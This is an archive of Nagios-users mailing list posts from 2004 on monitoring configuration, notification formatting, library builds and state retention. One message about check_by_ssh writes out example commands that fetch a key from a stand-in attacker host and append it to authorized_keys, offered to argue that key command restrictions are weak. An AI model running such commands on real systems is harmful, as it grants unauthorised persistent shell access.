novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_load15!50!80 > } > > define service{ > use generic-service > host_name cbsrv002 > service_description Percent Free - SYS > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_percent_used_sys!10!5 > } > > define service{ > use generic-service > > host_name cbsrv002 > service_description Precent Free - APPS > is_volatile 0 > check_period 24x7 > max_check_attempts 3 > normal_check_interval 5 > retry_check_interval 1 > contact_groups novell-admins > notification_interval 240 > notification_period 24x7 > notification_options c,r > check_command check_percent_used_apps!10!5 > } > > -=-=-=- > > Here's the checkcommand text for the check_percent_used: > > define command{ > command_name check_percent_used_sys > command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFSYS -w > $ARG1$ -c $ARG2$ > } > > define command{ > command_name check_percent_used_apps > command_line $USER1$/check_nwstat -H $HOSTNAME$ -v VPFAPPS > -w $ARG1$ -c $ARG2A > } > > *=-=- > > By the way, the two above check commands work on other servers... As > well as the services listed... I've got 17 servers configured with > nearly the same text... (except for server name)... > > Any clues would be appreciated. > > Take Care... > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jwhittington at excelorant.com Thu Mar 25 20:08:50 2004 From: jwhittington at excelorant.com (James Whittington) Date: Thu, 25 Mar 2004 14:08:50 -0500 Subject: Nagios email notifications, newline not getting interpreted ? Message-ID: >>Why are the quotes escaped? I think you're telling it to ignore the <>as dividing characters, which is why none of the options are being seen. Thank you thank you thank you! That did it, I don't why the quotes were escaped, it seem to happen after nagmin was installed and configured. I know nagmin initially pulls in your current config files, so maybe it happened during that process. Anyway thanks for pointing out what should have been obvious to me. Maybe I can return the favor one day :<).. _______________________________________________ James Whittington Systems Administrator Excelorant, LLC A TM Floyd Affiliate Company 1800 St. Julian Place P.O. Box 8263 Columbia, SC 29202 803.765.1310 | Phone 800.780.1170 | Toll Free 803.765.1431 | Fax jwhittington at excelorant.com _______________________________________________ -----Original Message----- From: Joe Rhett [mailto:jrhett at isite.net] Sent: Thursday, March 25, 2004 1:36 PM To: James Whittington Cc: nagios-users at lists.sourceforge.net Subject: Re: [Nagios-users] Nagios email notifications, newline not getting interpreted ? Why are the quotes escaped? I think you're telling it to ignore the quotes as dividing characters, which is why none of the options are being seen. My configuration and the example configs don't escape the quotes. On Thu, Mar 25, 2004 at 12:18:15PM -0500, James wrote: > Howdy, > Trying to get rolling with Nagios for the first time. Installed version > 1.2 on new FC1 linux server from RPM by Dag. Configured things to the > point that nagios would start cleanly. Installed lastest version of > nagmin, think I pointed things to the right folder. > > Well here's the thing, Nagios is sending out email notifications but the > message come through as one string like this: > ""*****""Nagios""*****nnNotification""Type:""PROBLEMnHost:""nagnState:"" UPnAddress:""10.1.0.124nInfo:""HTTP""WARNING:""HTTP/1.1""403""Forbiddenn nDate/Time:""Thu""Mar""25""11:45:57""EST""2004n"" > This is what my host-notify-by-email looks like: > /usr/bin/printf \"%b\" \"***** Nagios *****\n\nNotification Type: > $NOTIFICATIONTYPE$\nHost: $HOSTNAME$\nState: $HOSTSTATE$\nAddress: > $HOSTADDRESS$\nInfo: $OUTPUT$\n\nDate/Time: $DATETIME$\n\" | /bin/mail > -s \"Host $HOSTSTATE$ alert for $HOSTNAME$!\" $CONTACTEMAIL$ > > Also the above message try to go to alert at mydomain.com, for at mydomain.com > and myaddress at mydomain.com. It's like quotes and newlines are being > ignored. > > This appeared to happen after adding nagmin to the mix. After comparing > old configs to new configs I see where one config uses echo and one uses > printf. > > Anybody seen anything like this before. > > Thanks. > -- > _______________________________________________ > > James Whittington > Systems Administrator > > Excelorant, LLC > A TM Floyd Affiliate Company > 1800 St. Julian Place > P.O. Box 8263 > Columbia, SC 29202 > > 803.765.1310 | Phone > 800.780.1170 | Toll Free > 803.765.1431 | Fax > > jwhittington at excelorant.com > > _______________________________________________ > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null -- Joe Rhett Chief Geek JRhett at Isite.Net Isite Services, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From steve.atwal at ubc.ca Thu Mar 25 20:37:53 2004 From: steve.atwal at ubc.ca (Atwal, Steve) Date: Thu, 25 Mar 2004 11:37:53 -0800 Subject: Step-by-Step to Update Config Files for Monitoring Message-ID: <943B458A6A6E0540AD7D80D78DE371040367E07A@exchange3.ubc.ca> I'm looking for a decent article on how to configure the various config files to add the servers/devices I want to manage. The sample files that came with the installation don't seem to work and when I add anything into them, nothing seems to work. A step-by-step guide to setup these config files would be highly appreciated, e.g. to add 1 server to monitor. Thanks Steve ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sundar.narayanasamy at medtronic.com Thu Mar 25 21:05:10 2004 From: sundar.narayanasamy at medtronic.com (Narayanasamy, Sundar) Date: Thu, 25 Mar 2004 13:05:10 -0700 Subject: (Newbie) Nagios notification comes with empty subject line Message-ID: Hello, Whenever I get a warning or error notification from my Nagios installation, it comes with empty subject line. How do I fix it. Sundar ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From rmiller at duskglow.com Thu Mar 25 21:33:41 2004 From: rmiller at duskglow.com (Russell Miller) Date: Thu, 25 Mar 2004 14:33:41 -0600 Subject: solved Message-ID: <200403251433.47330.rmiller@duskglow.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I solved it. The ping on redhat 8 is broken - it doesn't return when -c 1 is specified on a nonresponding host. Installing the redhat 9 RPMs fixed the problem. - --Russell - -- 14:33:06 up 47 days, 3:15, 2 users, load average: 0.12, 0.12, 0.20 Russell Miller - rmiller at duskglow.com - Somewhere near Sioux City, IA. Youth cannot know age, but age is guilty if it forgets youth - Professor Dumbledore Hi! I'm a .signature virus! Copy me into your ~/.signature, please! -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAY0IoURTA4VCI9OARAh2WAJ4+kYhdNlBQgKmzPAyi4s6hxRRVewCcCQ5T KmBbPIyI5bx/SH0RBWDM7yI= =UfDn -----END PGP SIGNATURE----- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marco at sd.com Thu Mar 25 21:38:09 2004 From: marco at sd.com (Marco Supino) Date: Thu, 25 Mar 2004 22:38:09 +0200 Subject: MS Exchange information store Message-ID: <40634331.8030003@sd.com> Hi, Anyone found a way to detect if an exchange database is mounted or not ? i can detect if the store service is running, but this doesnt mean that the database is mounted. Thanks. Marco. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Thu Mar 25 21:53:54 2004 From: ae at op5.se (Andreas Ericsson) Date: Thu, 25 Mar 2004 21:53:54 +0100 Subject: Installation guide In-Reply-To: <5.2.1.1.2.20040325153530.033a2bc0@195.206.160.253> References: <5.2.1.1.2.20040325153530.033a2bc0@195.206.160.253> Message-ID: <406346E2.3070306@op5.se> This is because of a bug in the GD configure script. If you have libpng installed somewhere other than in /usr, it won't work. To fix it, you can run the configure-script with your options and then manually change the file config.h (somewhere in there, I don't remember where) and set the HAVE_PNG* and HAVE_JPG* (or JPEG) to be #define'd as 1. The lines should be something like this; #define HAVE_PNG_PNG_H 1 #define HAVE_PNG_LIB 1 #define HAVE_JPG_JPG_H 1 #define HAVE_JPG_LIB 1 Use your head about that though, cause I don't really remember the exact definitions. Then you have to modify the Makefile as well, and make sure CPPFLAGS includes the directory where you have the header files installed, and the LDFLAGS variable to include where you have your libraries installed and finally the LIBS statement must hold all libraries you want to link against. On my system, that looks something like this when done; CPPFLAGS=-I/usr/include -I/opt/include LDFLAGS=-L/usr/lib -L/opt/lib LIBS= -lpng -ljpeg -lz -lm -lfreetype -lpng12 Every -I directive (in CPPFLAGS) tells the C PreProcessor (CPP) to look in those directories for the files it can't find (/usr/include is default, but added by the configure-script). Every -l tells the linker (ld) in which libraries to look for symbols it needs to produce executables. Every -L (in LDFLAGS) tells the linker (ld) where it should expect to find the libraries mentioned in the -l statements. That should do it, assuming you have the development environments for each respective package installed. Alex Farrer wrote: > Hi, > > I'm been having great difficulty getting the Nagios installtion to > recognise that my installion of gd does have jpeg and png correctly > installed (this is confirmed when installing gd). Is there a decent > article available anywhere for a full installation of nagios with a > detailed breakdown of how to install all these libraries and nagios > (i.e: a simple "follow the instructions" type of guide) that actually > works? > > I can't find anything decent on Google and my unix experience is fairly > basic to understand what the problems are! > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. ::: Messages without supporting info will risk > being sent to /dev/null > -- Mvh Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ae at op5.se Thu Mar 25 22:11:18 2004 From: ae at op5.se (Andreas Ericsson) Date: Thu, 25 Mar 2004 22:11:18 +0100 Subject: check_by_ssh question In-Reply-To: References: Message-ID: <40634AF6.6040408@op5.se> Matt Pounsett wrote: > > True. But you can prevent the key from being used to get an interactive > shell, which was my point. > Yes you can, actually, since you can still run commands on it. The 'command' option in the keyfile can only specify one, and exactly one command to run when a user is authenticated using that precise key, so it can't be set to block certain commands (which is good, since inclusive permissions are always harder to bypass than exclusive). In theory, this prevents us from obtaining a shell, but consider the following commands being run; ssh target -C \ "scp @evil-hackers.own.net:.ssh/id_dsa.pub .ssh/unrestricted_auth_key" ssh target -C "cat .ssh/unrestricted_auth_key >> .ssh/authorized_keys" And please, don't tell me "that can't happen, cause you can configure ssh to not be allowed to login without a password". It's totally possible to generate a new set of keys for the pseudo-user, copy it to your own hosts authorized_keys and then take it from there. No 'noauth' logins have to take place, but the unrestricted_auth_key still goes into the authorized_keys file. Voila. Shell access. This CAN ofcourse be bypassed by setting up a horde of different keys and specifying the exact command to be run when that particular user logs in with the particular private key, but then configuration would be such a hassle that I'd be surprised if something didn't fuck up totally anyways. Questions about that? Hmm... I think I'll start working on ssh style encryption (dsa) for nrpe, with public / private key handshake and so on. Seems a bit easier than all this hassle. -- Sourcerer / Andreas Ericsson OP5 AB +46 (0)733 709032 andreas.ericsson at op5.se ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From eblumenau at techtvcorp.com Thu Mar 25 22:34:10 2004 From: eblumenau at techtvcorp.com (Eric Blumenau) Date: Thu, 25 Mar 2004 13:34:10 -0800 Subject: Wouldn't it be nice? Message-ID: <40635052.6000004@techtvcorp.com> Hello, I posted this information a few days ago but haven't gotten a response. My continued searching on the 'Net hasn't found anything either. Since it isn't a widely reported problem, I'm thinking it is a configuration problem on my end and not a Nagios problem. I'm trying to incorporate service dependencies into my service checks. Here is my only dependency so far: define servicedependency { host_name serveriron service_description Aliveness dependent_host_name adm1 dependent_service_description * execution_failure_criteria w,u,c notification_failure_criteria w,u,c } /* Translation: If our connection to the outside world isn't alive, don't bother executing or notifying the rest of the checks. */ When I use 'nagios -v' on my config file, I get: Checking service dependencies... Error: Service specified in service dependency for service 'disk space on /' on host 'adm1' is not defined anywhere! Error: Service specified in service dependency for service 'disk space on /' on host 'adm1' is not defined anywhere! Error: Service specified in service dependency for service '/tmp disk space on adm1-colo' on host 'adm1' is not defined anywhere! Error: Service specified in service dependency for service '/tmp disk space on adm1-colo' on host 'adm1' is not defined anywhere! And many more lines, where each existing service check on adm1 gets repeated twice. So it is translating the '*' to the correct service names. They *are* all defined, earlier in the same file! # Service definition define service{ use 24x7-service ; Name of service template to use host_name adm1 service_description disk space on / is_volatile 0 max_check_attempts 3 normal_check_interval 5 retry_check_interval 1 contact_groups defcon5 notification_interval 30 notification_options w,u,c,r check_command check_disk!95 98 /dev/dsk/c0t0d0s0 } where '24x7-service' is defined at the head of the file as... define service{ name 24x7-service ; The 'name' of this service template, referenced in other service definitions active_checks_enabled 1 ; Active service checks are enabled passive_checks_enabled 1 ; Passive service checks are enabled/accepted parallelize_check 1 ; Active service checks should be parallelized (disabling thi s can lead to major performance problems) obsess_over_service 1 ; We should obsess over this service (if necessary) check_freshness 0 ; Default is to NOT check service 'freshness' notifications_enabled 1 ; Service notifications are enabled event_handler_enabled 1 ; Service event handler is enabled flap_detection_enabled 1 ; Flap detection is enabled process_perf_data 1 ; Process performance data retain_status_information 1 ; Retain status information across program restarts retain_nonstatus_information 1 ; Retain non-status information across program restarts check_period 24x7 notification_period 24x7 register 0 ; DONT REGISTER THIS DEFINITION - ITS NOT A REAL SERVICE, JUS T A TEMPLATE! } The service checks themselves have been in production use for many months, so I'm pretty confident that the services are defined correctly. I'm using Nagios 1.0. I've searched this mailing list, and the Web, but haven't found this problem or a solution. Thanks, Eric ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt at bravenet.com Thu Mar 25 22:32:32 2004 From: matt at bravenet.com (Matthew Kent) Date: Thu, 25 Mar 2004 13:32:32 -0800 Subject: ping problem Message-ID: <0A9D1D7BB96F364D83A342871CF25FF9D197@bdc-pv1.pv.bravenet.com> > Has anyone encountered this in the past and how do I fix it? Something like this? http://sourceforge.net/tracker/index.php?func=detail&aid=870548&group_id =29880&atid=397597 You may have to recompile your plugins. - Matthew ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt at bravenet.com Thu Mar 25 22:35:16 2004 From: matt at bravenet.com (Matthew Kent) Date: Thu, 25 Mar 2004 13:35:16 -0800 Subject: Step-by-Step to Update Config Files for Monitoring Message-ID: <0A9D1D7BB96F364D83A342871CF25FF9D198@bdc-pv1.pv.bravenet.com> > I'm looking for a decent article on how to configure the various > config files to add the servers/devices I want to manage. The sample > files that came with the installation don't seem to work and when I > add anything into them, nothing seems to work. A > step-by-step guide to setup these config files would be highly > appreciated, e.g. to add 1 server to monitor. How about this one? http://www.samag.com/documents/s=8892/sam0310c/sam0310c.htm Between that and the included docs you should be set. - Matthew ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Thu Mar 25 22:37:03 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Thu, 25 Mar 2004 16:37:03 -0500 Subject: Trying out Apan and getting an UNKNOWN error message Message-ID: <5593DA408212D511B0910002A513501F0655926F@phsexch20.mgh.harvard.edu> I installed Apan 0.3.0-sql and configured it according to the documentation that came with it. The first test that I have for it is to track the disk space usage on a particular Windows 2000 machine. I ran the apanconf-sql utility and provided the information for the table in question. I then ran Nagios and was confronted with an error message saying the plug-in nt-disk was unknown. Any ideas? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From AHKAPLAN at PARTNERS.ORG Thu Mar 25 22:42:02 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Thu, 25 Mar 2004 16:42:02 -0500 Subject: Trying out Apan and getting an UNKNOWN error message Message-ID: <5593DA408212D511B0910002A513501F06559270@phsexch20.mgh.harvard.edu> I installed Apan 0.3.0-sql and configured it according to the documentation that came with it. The first test that I have for it is to track the disk space usage on a particular Windows 2000 machine. I ran the apanconf-sql utility and provided the information for the table in question. I then ran Nagios and was confronted with an error message saying the plug-in nt-disk was unknown. Any ideas? > -----Original Message----- > From: Kaplan, Andrew H. > Sent: Thursday, March 25, 2004 4:37 PM > To: Nagios-Users (E-mail); 'apan-users at sourceforge.net' > Subject: Trying out Apan and getting an UNKNOWN error message > > I installed Apan 0.3.0-sql and configured it according to the documentation > that came with it. > The first test that I have for it is to track the disk space usage on a > particular Windows 2000 > machine. > > I ran the apanconf-sql utility and provided the information for the table in > question. I then ran > Nagios and was confronted with an error message saying the plug-in nt-disk was > unknown. > > Any ideas? ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pamela at rak.bb.euroweb.sk Thu Mar 25 22:54:01 2004 From: pamela at rak.bb.euroweb.sk (jan gregor) Date: Thu, 25 Mar 2004 22:54:01 +0100 Subject: active -> passive checks Message-ID: <20040325225401.A3193@rak.bb.euroweb.sk> Hello list. I just came through one stupid problem with nagios. I had couple (100) of active service checks (check_traffic) which were ran each minute. Due to performance problems I switched all these these services to passive linkup/down trap handlers. I set passive_checks_enabled to 1 in service template (used from all services) and accept_passive_service_checks to 1 too. However, nagios refused to accept passive checks for these services. When I created new services, everything worked fine. As i realised after LONG research, one field in status.sav file of nagios was 1 in services newly added and 0 in services that ware moved from active to passive. When a changed those 0s to 1, all services started to handle traps correctly. Had anyone came through similar problem? Is this problem of nagios, or just my lame configuration? I just don't think, that it is good thing to base configuration on status file and not the config files :). Best regards Jan Gregor ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jared.brick at convergia.net Thu Mar 25 23:45:18 2004 From: jared.brick at convergia.net (Jared Brick) Date: Thu, 25 Mar 2004 17:45:18 -0500 Subject: nagios does not read .cfg files In-Reply-To: <405ECE17.7000103@exponential-e.com> References: <1079789615.9788.11.camel@pitc> <405C4FB6.7030907@bofus.org> <1079795053.9788.17.camel@pitc> <405ECE17.7000103@exponential-e.com> Message-ID: <1080254717.1395.122.camel@jared.convergia.net> I have the same problem, but the cfg_dir gives the same results. The odd thing is that if I move hosts.cfg file (which does have the hosts definitions) to a different directory and then touch a new hosts.cfg file I get an error saying it can't expand the hostgroups in the hostgroup.cfg file. I installed nagios from rpm. hosts.cfg sample: define host{ host_name mon01 use generic-host alias mon Server 1 address 192.168.10.1 check_command check-host-alive max_check_attempts 1 notification_interval 120 notification_period 24x7 notification_options d,u,r register 0 parents fut01 } nagios -v nagios.cfg Nagios 1.2 Copyright (c) 1999-2004 Ethan Galstad (nagios at nagios.org) Last Modified: 02-02-2004 License: GPL Reading configuration data... Running pre-flight check on configuration data... Checking services... Error: Host 'sa01' specified in service 'PING' not defined anywhere! Error: Host 'sa02' specified in service 'PING' not defined anywhere! Error: Host 'fa1A' specified in service 'PING' not defined anywhere! Error: Host 'fa1B' specified in service 'PING' not defined anywhere! Error: Host 'fa2A' specified in service 'PING' not defined anywhere! Error: Host 'fa2B' specified in service 'PING' not defined anywhere! Error: Host 'fa3A' specified in service 'PING' not defined anywhere! Error: Host 'fa3B' specified in service 'PING' not defined anywhere! Error: Host 'fa4A' specified in service 'PING' not defined anywhere! Error: Host 'fa4B' specified in service 'PING' not defined anywhere! Error: Host 'mon01' specified in service 'PING' not defined anywhere! Error: Host 'mon02' specified in service 'PING' not defined anywhere! Error: Host 'fut01' specified in service 'PING' not defined anywhere! Checked 13 services. Checking hosts... Error: There are no hosts defined! Checked 0 hosts. Checking host groups... Error: Host 'mon01' specified in host group 'servers' is not defined anywhere! Error: Host 'mon02' specified in host group 'servers' is not defined anywhere! Error: Host 'sa01' specified in host group 'systems' is not defined anywhere! Error: Host 'sa02' specified in host group 'systems' is not defined anywhere! Error: Host 'fa1A' specified in host group 'systems' is not defined anywhere! Error: Host 'fa1B' specified in host group 'systems' is not defined anywhere! Error: Host 'fa2A' specified in host group 'systems' is not defined anywhere! Error: Host 'fa2B' specified in host group 'systems' is not defined anywhere! Error: Host 'fa3A' specified in host group 'systems' is not defined anywhere! Error: Host 'fa3B' specified in host group 'systems' is not defined anywhere! Error: Host 'fa4A' specified in host group 'systems' is not defined anywhere! Error: Host 'fa4B' specified in host group 'systems' is not defined anywhere! Checked 2 host groups. Checking contacts... Checked 1 contacts. Checking contact groups... Checked 2 contact groups. Checking service escalations... Checked 0 service escalations. Checking host group escalations... Checked 0 host group escalations. Checking service dependencies... Checked 0 service dependencies. Checking host escalations... Checked 0 host escalations. Checking host dependencies... Checked 0 host dependencies. Checking commands... Checked 22 commands. Checking time periods... Checked 4 time periods. Checking for circular paths between hosts... Checking for circular service execution dependencies... Checking global event handlers... Checking obsessive compulsive service processor command... Checking misc settings... Total Warnings: 0 Total Errors: 26 ***> One or more problems was encountered while running the pre-flight check... > You could change the cfg_file definitions in nagios.cfg or use the > cfg_dir command to point at the directory with your config files in them > e.g. > > cfg_dir=/usr/local/nagios/etc > > Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Thu Mar 25 23:58:20 2004 From: marc at ena.com (Marc Powell) Date: Thu, 25 Mar 2004 16:58:20 -0600 Subject: active -> passive checks Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A38C@mismail2.ena.com> On Thursday, March 25, 2004 3:54 PM, jan gregor shared with us: > Hello list. > > I just came through one stupid problem with nagios. I had couple > (100) of active service checks (check_traffic) which were ran each > minute. > Due to performance problems I switched all these these services to > passive linkup/down trap handlers. I set passive_checks_enabled to 1 > in service template (used from all services) and > accept_passive_service_checks to 1 too. However, nagios refused to > accept passive checks for these services. When I created new > services, everything worked fine. As i realised after LONG research, > one field in status.sav file of nagios was 1 in services newly added > and 0 in services that ware moved from active to passive. When a > changed those 0s to 1, all services started to handle traps > correctly. > > Had anyone came through similar problem? Is this problem of nagios, > or just my lame configuration? I just don't think, that it is good > thing to base configuration on status file and not the config files > :). Expected and documented -- http://nagios.sourceforge.net/docs/1_0/xodtemplate.html Retention Notes It is important to point out that several directives in host and service definitions may not be picked up by Nagios when you change them. Host and service directives that can exhibit this behavior are marked with an asterisk (*). The reason for this behavior is due to the fact that Nagios chooses to honor values stored in the state retention file over values found in the config files, assuming you have state retention enabled on a program-wide basis. One way to get around this problem is to disable the retention of non-status information using the retain_nonstatus_information directive in the host and service definitions. Disabling this directive will cause Nagios to take the initial values for these directives from your config files, rather than from the state retention file when it (re)starts. Using this option is not recommended, as it may result in some unexpected (from your point of view) results. Alternatively, you can issue the appropriate external command or change the value of the host or service directive via the web interface, so that it matches what you've changed it to in the config files. This is usually done by using the extended information CGI. This option takes a bit more work, but is preferable to disabling the retention of non-status information (mentioned above). [skipping further down]... active_checks_enabled *: This directive is used to determine whether or not active checks of this service are enabled. Values: 0 = disable active service checks, 1 = enable active service checks. passive_checks_enabled *: This directive is used to determine whether or not passive checks of this service are enabled. Values: 0 = disable passive service checks, 1 = enable passive service checks. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of 